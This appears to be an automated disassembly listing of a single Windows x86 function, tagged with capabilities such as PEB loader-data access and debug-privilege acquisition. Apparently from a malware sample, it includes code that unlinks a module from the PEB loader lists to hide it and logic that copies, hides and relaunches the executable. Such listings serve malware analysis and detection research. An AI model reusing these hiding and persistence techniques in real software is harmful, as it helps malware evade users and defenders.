Function at 0x420d80
Capabilities:
Access peb ldr_data
Acquire debug privileges
Create process on windows
Get number of processors

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x69
push 0
push 0
dec ecx
jne 0x420d88
push ecx
push ebx
push esi
push edi
mov eax, 0x420c88
call fcn.004057f4
xor eax, eax
push ebp
push 0x4230d6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
call fcn.0041e728
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
call fcn.00407678
mov eax, dword [ebp - 0x40]
mov edx, 0x4230f0
call fcn.004043f0
je 0x423087
lea eax, [ebp - 0x4c]
call fcn.0041e728
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00407678
mov eax, dword [ebp - 0x48]
mov edx, 0x423104
call fcn.004043f0
je 0x423087
lea eax, [ebp - 0x54]
call fcn.0041e728
mov eax, dword [ebp - 0x54]
lea edx, [ebp - 0x50]
call fcn.00407678
mov eax, dword [ebp - 0x50]
mov edx, 0x42311c
call fcn.004043f0
je 0x423087
lea eax, [ebp - 0x5c]
call fcn.0041e728
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x58]
call fcn.00407678
mov eax, dword [ebp - 0x58]
mov edx, 0x42313c
call fcn.004043f0
je 0x423087
lea eax, [ebp - 0x64]
call fcn.0041e728
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.00407678
mov eax, dword [ebp - 0x60]
mov edx, 0x423150
call fcn.004043f0
je 0x423087
lea eax, [ebp - 0x6c]
call fcn.0041e728
mov eax, dword [ebp - 0x6c]
lea edx, [ebp - 0x68]
call fcn.00407678
mov eax, dword [ebp - 0x68]
mov edx, 0x423164
call fcn.004043f0
je 0x423087
lea eax, [ebp - 0x74]
call fcn.0041e728
mov eax, dword [ebp - 0x74]
lea edx, [ebp - 0x70]
call fcn.00407678
mov eax, dword [ebp - 0x70]
mov edx, 0x423178
call fcn.004043f0
je 0x423087
mov eax, dword [0x426438]
mov byte [eax], 0
mov eax, dword [0x426330]
mov byte [eax], 0
lea eax, [ebp - 0x78]
call fcn.0041e7c4
mov eax, dword [ebp - 0x78]
call fcn.004044a4
mov edx, eax
mov eax, dword [0x426430]
call fcn.004041e4
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [0x426430]
mov ecx, dword [ecx]
mov edx, 0x423190
mov eax, 2
call fcn.00416d50
lea edx, [ebp - 0x80]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
mov edx, dword [ebp - 0x80]
mov eax, dword [0x426430]
call fcn.00404060
lea edx, [ebp - 0x84]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00407a9c
mov edx, dword [ebp - 0x84]
mov eax, dword [0x42633c]
call fcn.00404060
lea eax, [ebp - 0x88]
call fcn.0041e728
mov eax, dword [ebp - 0x88]
call fcn.004044a4
mov edx, eax
mov eax, dword [0x4263f0]
call fcn.004041e4
lea eax, [ebp - 0x8c]
call fcn.0041d2bc
push dword [ebp - 0x8c]
lea edx, [ebp - 0x90]
mov eax, dword [0x42633c]
mov eax, dword [eax]
call fcn.0041d3a0
push dword [ebp - 0x90]
push 0x4231a4
mov eax, dword [0x4264ec]
mov edx, 3
call fcn.0040436c
lea eax, [ebp - 0x98]
call fcn.0041e838
lea eax, [ebp - 0x98]
mov edx, 0x4231b4
call fcn.004042b4
mov eax, dword [ebp - 0x98]
lea edx, [ebp - 0x94]
call fcn.00416bcc
push dword [ebp - 0x94]
push 0x4231d4
lea edx, [ebp - 0x9c]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
push dword [ebp - 0x9c]
push 0x4231e0
mov eax, dword [0x426350]
mov edx, 4
call fcn.0040436c
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x4263c0]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x426404]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x4263e0]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x426334]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x4264f4]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x40aba0]
call fcn.00403544
mov edx, dword [0x42647c]
mov dword [edx], eax
mov eax, dword [0x426378]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x426434]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x426424]
mov byte [eax], 0
lea edx, [ebp - 0xa0]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00407a9c
mov edx, dword [ebp - 0xa0]
mov eax, 0x42a6a8
call fcn.00404060
push 0
push 0
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov ebx, eax
push ebx
mov eax, dword [0x42642c]
push eax
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
lea edx, [ebp - 0xa4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.00407a9c
mov edx, dword [ebp - 0xa4]
mov eax, 0x42a6a8
call fcn.00404060
push 0
push 0
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov ebx, eax
push ebx
mov eax, dword [0x4264e4]
push eax
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
lea edx, [ebp - 0xa8]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
mov edx, dword [ebp - 0xa8]
mov eax, 0x42a6a8
call fcn.00404060
push 0
push 0
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov ebx, eax
push ebx
mov eax, dword [0x426500]
push eax
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov eax, 0x42a6a8
mov edx, dword [0x426350]
mov edx, dword [edx]
call fcn.00404060
push 0
push 0
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov ebx, eax
push ebx
mov eax, dword [0x426410]
push eax
mov eax, dword [0x42a6a8]
call fcn.004042ac
push eax
mov eax, dword [0x42a6a8]
call fcn.004044a4
push eax
push 1
push 0
call sub.kernel32.dll_MultiByteToWideChar
push 0x4231f4
mov eax, dword [0x4263f0]
push dword [eax]
push 0x423208
push 0x423214
mov eax, dword [0x426430]
push dword [eax]
push 0x423224
call sub.kernel32.dll_GetCurrentProcessId
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xb0]
call fcn.004076e4
push dword [ebp - 0xb0]
lea eax, [ebp - 0xac]
mov edx, 7
call fcn.0040436c
mov eax, dword [ebp - 0xac]
call fcn.0041be00
lea edx, [ebp - 0xb4]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0xb4]
mov edx, 0x423234
call fcn.004043f0
je 0x4212e8
mov esi, dword [0x427710]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
cmp esi, dword [eax + 0x18]
jne 0x4212c0
mov esi, dword [eax]
mov ebx, dword [eax + 4]
mov dword [ebx], esi
mov esi, dword [eax + 4]
mov ebx, dword [eax]
mov dword [ebx + 4], esi
lea eax, [eax + 8]
mov esi, dword [eax]
mov ebx, dword [eax + 4]
mov dword [ebx], esi
mov esi, dword [eax + 4]
mov ebx, dword [eax]
mov dword [ebx + 4], esi
mov eax, 0x42324c
call fcn.0041be00
call fcn.004151f8
mov eax, 0x42326c
call fcn.004152e8
call fcn.0041ac9c
mov edx, dword [0x4263b8]
mov byte [edx], al
mov eax, 0x423288
call fcn.0041be00
mov edx, dword [0x4264ec]
mov edx, dword [edx]
mov eax, dword [0x4263a4]
call fcn.0041e65c
test al, al
je 0x421a6f
mov eax, 0x4232b0
call fcn.0041be00
mov eax, dword [0x4263a4]
cmp byte [eax + 0x1102], 0
jne 0x4224bc
mov ecx, dword [0x4263f0]
mov ecx, dword [ecx]
lea eax, [ebp - 0xb8]
mov edx, 0x4232d8
call fcn.004042f8
mov eax, dword [ebp - 0xb8]
call fcn.0041be00
mov eax, dword [0x4263a4]
cmp byte [eax + 0x300], 0
je 0x421515
lea eax, [ebp - 0xc0]
mov edx, dword [0x4263a4]
add edx, 0x300
call fcn.00404250
mov ecx, dword [ebp - 0xc0]
lea eax, [ebp - 0xbc]
mov edx, 0x423300
call fcn.004042f8
mov eax, dword [ebp - 0xbc]
call fcn.0041be00
lea eax, [ebp - 0x1c4]
push eax
mov ecx, dword [0x4263a4]
movzx ecx, byte [ecx + 0x300]
sub ecx, 4
mov eax, dword [0x4263a4]
add eax, 0x300
mov edx, 1
call fcn.00402674
lea edx, [ebp - 0x1c4]
lea eax, [ebp - 0xc4]
call fcn.00404250
mov eax, dword [ebp - 0xc4]
call fcn.0041f0e4
lea eax, [ebp - 0x1c8]
mov edx, dword [0x4263a4]
add edx, 0x300
call fcn.00404250
mov eax, dword [ebp - 0x1c8]
call fcn.0041f0e4
test al, al
je 0x42150b
lea eax, [ebp - 0x1d4]
mov edx, dword [0x4263a4]
add edx, 0x300
call fcn.00404250
mov eax, dword [ebp - 0x1d4]
lea edx, [ebp - 0x1d0]
call fcn.00407a68
push dword [ebp - 0x1d0]
lea eax, [ebp - 0x1e0]
mov edx, dword [0x4263a4]
add edx, 0x300
call fcn.00404250
mov eax, dword [ebp - 0x1e0]
lea edx, [ebp - 0x1dc]
call fcn.00407a9c
mov eax, dword [ebp - 0x1dc]
lea edx, [ebp - 0x1d8]
call fcn.0041d3a0
push dword [ebp - 0x1d8]
push 0x4231a4
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.0040436c
mov eax, dword [ebp - 0x1cc]
call fcn.0041f0e4
mov eax, dword [0x4263a4]
mov byte [eax + 0x300], 0
mov eax, 0x423320
call fcn.0041be00
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x300
lea eax, [ebp - 0x1e4]
mov edx, dword [0x4263a4]
add edx, 0x300
call fcn.00404250
mov edx, dword [ebp - 0x1e4]
xor ecx, ecx
mov eax, 1
call fcn.0041e3fc
mov eax, 0x423344
call fcn.0041be00
mov eax, dword [0x4263a4]
cmp byte [eax + 0x900], 0
je 0x421591
lea eax, [ebp - 0x1e8]
mov edx, dword [0x4263a4]
add edx, 0x900
call fcn.00404250
mov eax, dword [ebp - 0x1e8]
call fcn.0041f0e4
test al, al
je 0x421591
mov eax, dword [0x4263a4]
mov byte [eax + 0x900], 0
push 0
push 0
push 0
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x900
lea eax, [ebp - 0x1ec]
mov edx, dword [0x4263a4]
add edx, 0x900
call fcn.00404250
mov edx, dword [ebp - 0x1ec]
xor ecx, ecx
mov eax, 1
call fcn.0041e3fc
mov eax, dword [0x4263a4]
cmp dword [eax + 0x1128], 0x2b2
je 0x421813
lea eax, [ebp - 0x1f0]
call fcn.0041f03c
mov edx, dword [ebp - 0x1f0]
mov eax, dword [0x4263a4]
mov ecx, 0xff
call fcn.00404288
mov eax, dword [0x4263a4]
mov byte [eax + 0x1101], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1102], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1103], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1109], 0
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1140], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1234], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1118], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x111c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1120], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x114c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1150], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1154], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1158], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x115c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1164], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x116c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1170], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1124], edx
mov eax, dword [0x4263a4]
lea edi, [eax + 0x100]
mov esi, 0x423354
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x4263a4]
mov dword [eax + 0x1128], 0x2b2
mov eax, dword [0x4263a4]
mov byte [eax + 0x500], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1105], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1106], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1107], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x110a], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x600], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x700], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x800], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xa00], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xb00], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xc00], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xd00], 0
mov eax, dword [0x4263a4]
add eax, 0x400
mov edx, dword [0x426430]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.00404288
mov eax, dword [0x4263a4]
mov byte [eax + 0x300], 0
lea eax, [ebp - 0x1f8]
call fcn.0041d2bc
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x204]
mov edx, dword [0x4263a4]
add edx, 0x400
call fcn.00404250
mov eax, dword [ebp - 0x204]
lea edx, [ebp - 0x200]
call fcn.00407a9c
mov eax, dword [ebp - 0x200]
lea edx, [ebp - 0x1fc]
call fcn.0041d3a0
push dword [ebp - 0x1fc]
push 0x4231a4
lea eax, [ebp - 0x1f4]
mov edx, 3
call fcn.0040436c
mov eax, dword [ebp - 0x1f4]
call fcn.004044a4
mov edx, eax
mov eax, dword [0x4264ec]
call fcn.004041e4
mov edx, dword [0x4263a4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.0041baa8
mov eax, 0x423364
call fcn.0041be00
lea edx, [ebp - 0x208]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
mov eax, dword [ebp - 0x208]
call fcn.0041caa0
test al, al
je 0x4218e2
xor eax, eax
push ebp
push 0x4218d3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4263a4]
mov byte [eax + 0x110b], 1
mov eax, 0x423380
call fcn.0041be00
mov eax, 0x423234
call fcn.0041bf48
test al, al
je 0x42189a
lea eax, [ebp - 0x20c]
call fcn.0041e838
lea eax, [ebp - 0x20c]
mov edx, 0x423398
call fcn.004042b4
mov eax, dword [ebp - 0x20c]
call fcn.0041c020
lea eax, [ebp - 0x210]
call fcn.0041d1dc
mov eax, dword [ebp - 0x210]
call fcn.0041cc50
lea eax, [ebp - 0x214]
call fcn.0041d2bc
mov eax, dword [ebp - 0x214]
call fcn.0041cc50
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4224bc
mov eax, 0x4233b4
call fcn.0041be00
lea edx, [ebp - 0x218]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
mov eax, dword [ebp - 0x218]
call fcn.0041c958
test al, al
je 0x4219cc
mov eax, 0x4233dc
call fcn.0041be00
mov edx, dword [0x4263a4]
mov al, 1
mov byte [edx + 0x110b], al
push 0
push 0
mov edx, dword [0x4263a4]
push eax
mov eax, dword [0x4264ec]
mov eax, dword [eax]
push eax
push 0x110b
xor ecx, ecx
xor edx, edx
mov eax, 4
call fcn.0041e3fc
lea eax, [ebp - 0x21c]
call fcn.0041e838
lea eax, [ebp - 0x21c]
mov edx, 0x423398
call fcn.004042b4
mov eax, dword [ebp - 0x21c]
call fcn.0041c020
lea edx, [ebp - 0x220]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x220]
mov edx, 0x423234
call fcn.004043f0
jne 0x4224bc
mov eax, 0x4233e8
call fcn.0041e880
push eax
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.004044a4
pop edx
call fcn.00415498
test al, al
jne 0x4224bc
call fcn.004122e8
jmp 0x4224bc
xor eax, eax
push ebp
push 0x421a60
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x4233fc
call fcn.0041be00
lea eax, [ebp - 0x22c]
call fcn.0041e838
lea eax, [ebp - 0x22c]
mov edx, 0x4231b4
call fcn.004042b4
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x228]
call fcn.00416bcc
push dword [ebp - 0x228]
push 0x4231d4
lea edx, [ebp - 0x230]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
push dword [ebp - 0x230]
push 0x4231e0
lea eax, [ebp - 0x224]
mov edx, 4
call fcn.0040436c
mov eax, dword [ebp - 0x224]
call fcn.0041c0bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4224bc
mov ecx, dword [0x4263f0]
mov ecx, dword [ecx]
lea eax, [ebp - 0x234]
mov edx, 0x423420
call fcn.004042f8
mov eax, dword [ebp - 0x234]
call fcn.0041be00
lea eax, [ebp - 0x238]
call fcn.0041f03c
mov edx, dword [ebp - 0x238]
mov eax, dword [0x4263a4]
mov ecx, 0xff
call fcn.00404288
mov eax, dword [0x4263a4]
mov byte [eax + 0x1101], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1102], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1103], 0
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1118], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x111c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1120], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x114c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1150], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1154], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1158], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x115c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x116c], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1234], edx
mov eax, dword [0x4263a4]
mov byte [eax + 0x1105], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1106], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1107], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x1109], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x110a], 1
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1124], edx
mov eax, dword [0x4263a4]
lea edi, [eax + 0x100]
mov esi, 0x423354
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x4263a4]
mov dword [eax + 0x1128], 0x2b2
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1170], edx
mov eax, dword [0x4263a4]
mov byte [eax + 0x500], 0
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1140], edx
mov eax, dword [0x4263a4]
xor edx, edx
mov dword [eax + 0x1164], edx
mov eax, dword [0x4263a4]
mov byte [eax + 0x600], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x700], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0x800], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xa00], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xb00], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xc00], 0
mov eax, dword [0x4263a4]
mov byte [eax + 0xd00], 0
lea edx, [ebp - 0x23c]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x23c]
push eax
lea eax, [ebp - 0x244]
call fcn.0041d2bc
mov eax, dword [ebp - 0x244]
lea edx, [ebp - 0x240]
call fcn.00407678
mov eax, dword [ebp - 0x240]
pop edx
call fcn.0040458c
test eax, eax
je 0x422015
mov eax, dword [0x4263a4]
add eax, 0x400
mov edx, dword [0x426430]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.00404288
mov eax, dword [0x4263a4]
mov byte [eax + 0x300], 0
lea eax, [ebp - 0x24c]
call fcn.0041d2bc
push dword [ebp - 0x24c]
lea eax, [ebp - 0x258]
mov edx, dword [0x4263a4]
add edx, 0x400
call fcn.00404250
mov eax, dword [ebp - 0x258]
lea edx, [ebp - 0x254]
call fcn.00407a9c
mov eax, dword [ebp - 0x254]
lea edx, [ebp - 0x250]
call fcn.0041d3a0
push dword [ebp - 0x250]
push 0x4231a4
lea eax, [ebp - 0x248]
mov edx, 3
call fcn.0040436c
mov eax, dword [ebp - 0x248]
call fcn.004044a4
mov edx, eax
mov eax, dword [0x4264ec]
call fcn.004041e4
mov eax, 0x42a6a8
call fcn.0040400c
mov edx, dword [0x426358]
mov eax, 0x42a6a8
call fcn.0041c5b8
test al, al
je 0x422015
lea edx, [ebp - 0x25c]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
mov eax, dword [ebp - 0x25c]
call fcn.0041c958
test al, al
je 0x421e58
mov eax, dword [0x4263a4]
mov byte [eax + 0x110b], 1
mov eax, dword [0x426358]
add eax, 0x300
mov edx, dword [0x426358]
add edx, 0x400
call fcn.00402c34
mov eax, dword [0x426358]
add eax, 0x400
mov edx, dword [0x426430]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.00404288
mov eax, dword [0x426358]
mov byte [eax + 0x1102], 0
mov eax, dword [0x426358]
lea edi, [eax + 0x100]
mov esi, 0x423354
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x426358]
mov dword [eax + 0x1128], 0x2b2
mov eax, dword [0x426358]
mov edx, dword [0x4263a4]
mov esi, eax
mov edi, edx
mov ecx, 0x498
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x4264ec]
mov edx, dword [edx]
mov eax, dword [0x42a6a8]
call fcn.0041ec00
test al, al
je 0x421e41
mov edx, dword [0x4264ec]
mov edx, dword [edx]
mov eax, dword [0x4263a4]
call fcn.0041e584
mov eax, dword [0x4264ec]
mov eax, dword [eax]
mov edx, 2
call fcn.004078e4
jmp 0x4224bc
mov edx, dword [0x4263a4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.0041baa8
jmp 0x4224bc
mov eax, 0x423444
call fcn.0041be00
lea eax, [ebp - 0x268]
call fcn.0041e838
lea eax, [ebp - 0x268]
mov edx, 0x4231b4
call fcn.004042b4
mov eax, dword [ebp - 0x268]
lea edx, [ebp - 0x264]
call fcn.00416bcc
push dword [ebp - 0x264]
push 0x4231d4
lea edx, [ebp - 0x26c]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.00416bcc
push dword [ebp - 0x26c]
push 0x4231e0
lea eax, [ebp - 0x260]
mov edx, 4
call fcn.0040436c
mov eax, dword [ebp - 0x260]
call fcn.0041c0bc
test al, al
je 0x421ffe
mov eax, 0x423468
call fcn.0041be00
mov eax, dword [0x4263a4]
mov byte [eax + 0x110b], 0
mov eax, dword [0x426358]
add eax, 0x300
mov edx, dword [0x426358]
add edx, 0x400
call fcn.00402c34
mov eax, dword [0x426358]
add eax, 0x400
mov edx, dword [0x426430]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.00404288
mov eax, dword [0x426358]
mov byte [eax + 0x1102], 0
mov eax, dword [0x426358]
lea edi, [eax + 0x100]
mov esi, 0x423354
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x426358]
mov dword [eax + 0x1128], 0x2b2
mov eax, dword [0x426358]
mov edx, dword [0x4263a4]
mov esi, eax
mov edi, edx
mov ecx, 0x498
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x4264ec]
mov edx, dword [edx]
mov eax, dword [0x42a6a8]
call fcn.0041ec00
test al, al
je 0x421fe7
push 0x42348c
push dword [0x42a6a8]
push 0x4234b0
mov eax, dword [0x4264ec]
push dword [eax]
lea eax, [ebp - 0x270]
mov edx, 4
call fcn.0040436c
mov eax, dword [ebp - 0x270]
call fcn.0041be00
mov edx, dword [0x4264ec]
mov edx, dword [edx]
mov eax, dword [0x4263a4]
call fcn.0041e584
test al, al
je 0x421fd1
mov eax, 0x4234c0
call fcn.0041be00
mov eax, dword [0x4264ec]
mov eax, dword [eax]
mov edx, 2
call fcn.004078e4
jmp 0x4224bc
mov edx, dword [0x4263a4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.0041baa8
jmp 0x4224bc
mov edx, dword [0x4263a4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.0041baa8
jmp 0x4224bc
mov eax, 0x4234d4
call fcn.0041be00
mov eax, dword [0x4263a4]
add eax, 0x300
mov edx, dword [0x426430]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0x278]
call fcn.0041d2bc
push dword [ebp - 0x278]
lea edx, [ebp - 0x27c]
mov eax, 4
call fcn.0041de80
push dword [ebp - 0x27c]
push 0x4231a4
lea eax, [ebp - 0x274]
mov edx, 3
call fcn.0040436c
mov edx, dword [ebp - 0x274]
mov eax, dword [0x4263a4]
add eax, 0x400
mov ecx, 0xff
call fcn.00404288
lea eax, [ebp - 0x284]
call fcn.0041d2bc
push dword [ebp - 0x284]
lea eax, [ebp - 0x290]
mov edx, dword [0x4263a4]
add edx, 0x400
call fcn.00404250
mov eax, dword [ebp - 0x290]
lea edx, [ebp - 0x28c]
call fcn.00407a9c
mov eax, dword [ebp - 0x28c]
lea edx, [ebp - 0x288]
call fcn.0041d3a0
push dword [ebp - 0x288]
push 0x4231a4
lea eax, [ebp - 0x280]
mov edx, 3
call fcn.0040436c
mov eax, dword [ebp - 0x280]
call fcn.004044a4
mov edx, eax
mov eax, dword [0x4264ec]
call fcn.004041e4
lea eax, [ebp - 0x294]
mov edx, dword [0x4263a4]
add edx, 0x400
call fcn.00404250
mov edx, dword [ebp - 0x294]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.0041ec00
test al, al
je 0x4223ea
mov eax, 0x4234fc
call fcn.0041be00
mov eax, dword [0x426430]
mov edx, dword [0x4263a4]
add edx, 0x400
call fcn.00404250
mov eax, dword [0x426430]
mov eax, dword [eax]
mov edx, 0x20
call fcn.004078e4
xor eax, eax
push ebp
push 0x422193
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.0041dd54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x42219d
xor eax, eax
push ebp
push 0x4221fa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x298]
call fcn.0041e838
lea eax, [ebp - 0x298]
mov edx, 0x423518
call fcn.004042b4
mov eax, dword [ebp - 0x298]
call fcn.0041eb40
fstp qword [0x42a6b0]
wait
push dword [0x42a6b4]
push dword [0x42a6b0]
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.0041ea3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x422204
mov eax, dword [0x426430]
mov eax, dword [eax]
mov edx, 2
call fcn.004078e4
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.0041c958
test al, al
je 0x4222a4
mov eax, 0x423538
call fcn.0041be00
mov eax, dword [0x4263a4]
mov byte [eax + 0x110b], 1
mov edx, dword [0x4263a4]
mov eax, dword [0x4264ec]
mov eax, dword [eax]
call fcn.0041baa8
lea edx, [ebp - 0x29c]
mov eax, dword [0x4263f0]
mov eax, dword [eax]
call fcn.00407678
mov eax, dword [ebp - 0x29c]
mov edx, 0x423558
call fcn.004043f0
je 0x4224bc
mov eax, 0x4233e8
call fcn.0041e880
push eax
mov eax, dword [0x426430]
mov eax, dword [eax]
call fcn.004044a4
pop edx
call fcn.00415498
test al, al
jne 0x4224bc
call fcn.004122e8
jmp 0x4224bc
mov eax, dword [0x4263a4]
mov byte [eax + 0x110b], 0
lea eax, [ebp - 0x2a8]
call fcn.0041e838
lea eax, [ebp - 0x2a8]
mov edx, 0x4231b4
call fcn.004042b4
mov eax, dword [ebp - 0x2a8]
lea edx, [ebp - 0x2a4]
call fcn.00416bcc
